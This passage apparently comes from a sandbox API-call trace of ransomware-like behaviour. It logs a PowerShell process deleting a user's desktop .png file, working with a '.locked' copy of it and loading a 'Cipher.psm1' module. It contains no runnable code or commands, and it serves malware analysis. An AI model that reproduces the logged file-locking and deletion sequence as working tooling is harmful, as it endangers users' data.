(in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0128.116] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.116] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png\\", lpFilePart=0x0) returned 0x35 [0128.116] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0128.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0128.116] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0128.116] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0128.116] CoTaskMemFree (pv=0x8ebb8c8) [0128.117] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png")) returned 0x20 [0128.117] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.117] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0128.118] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png"), fInfoLevelId=0x0, lpFileInformation=0x69cd9a4 | out: lpFileInformation=0x69cd9a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc4ec160, ftCreationTime.dwHighDateTime=0x1d4a530, ftLastAccessTime.dwLowDateTime=0x18706180, ftLastAccessTime.dwHighDateTime=0x1d4a6fa, ftLastWriteTime.dwLowDateTime=0x18706180, ftLastWriteTime.dwHighDateTime=0x1d4a6fa, nFileSizeHigh=0x0, nFileSizeLow=0xb5df)) returned 1 [0128.118] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0128.118] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png")) returned 1 [0128.120] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.120] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xcc00\x8df") returned 0x0 [0128.121] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.121] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.121] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.122] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png.locked")) returned 0x20 [0128.122] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png.locked")) returned 0x20 [0128.122] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked", lpFilePart=0x0) returned 0x3b [0128.122] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked", lpFilePart=0x0) returned 0x3b [0128.123] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.123] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png", lpFilePart=0x0) returned 0x34 [0128.123] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.124] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.124] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.124] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.126] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.127] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.127] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.127] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.127] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.129] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.130] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.130] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.130] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.130] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.132] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.133] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.133] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.133] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.133] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.135] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.135] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.135] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.135] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.135] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.137] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.139] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x69dc470 | out: lpFileInformation=0x69dc470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8e71d8, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xf8e71d8, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xf90d49e, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xb5f4)) returned 1 [0128.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.140] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked", lpFilePart=0x0) returned 0x3b [0128.140] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\FMp1Rv9H0sIwMbUMaP.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fmp1rv9h0siwmbumap.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x868 [0128.140] GetFileInformationByHandle (in: hFile=0x868, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.140] CloseHandle (hObject=0x868) returned 1 [0128.142] GetConsoleOutputCP () returned 0x1b5 [0128.142] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.142] GetConsoleOutputCP () returned 0x1b5 [0128.143] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.143] GetConsoleOutputCP () returned 0x1b5 [0128.143] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.143] GetConsoleOutputCP () returned 0x1b5 [0128.143] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.143] GetConsoleOutputCP () returned 0x1b5 [0128.143] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.143] GetConsoleOutputCP () returned 0x1b5 [0128.144] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.144] GetConsoleOutputCP () returned 0x1b5 [0128.144] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.144] GetConsoleOutputCP () returned 0x1b5 [0128.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.145] GetConsoleOutputCP () returned 0x1b5 [0128.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.145] GetConsoleOutputCP () returned 0x1b5 [0128.145] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.145] GetConsoleOutputCP () returned 0x1b5 [0128.146] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.146] GetConsoleOutputCP () returned 0x1b5 [0128.146] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.146] GetConsoleOutputCP () returned 0x1b5 [0128.146] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.146] GetConsoleOutputCP () returned 0x1b5 [0128.146] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.147] GetConsoleOutputCP () returned 0x1b5 [0128.147] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.147] GetConsoleOutputCP () returned 0x1b5 [0128.147] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.147] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0128.148] GetConsoleOutputCP () returned 0x1b5 [0128.148] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0128.148] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.148] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a03204*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x6a03204*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0128.149] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.149] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0128.155] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.155] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.156] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x8800\x699\x8840\x699\x87f8\x699\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0128.156] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.156] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.156] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x3f, [1]=0x18, [2]=0x30, 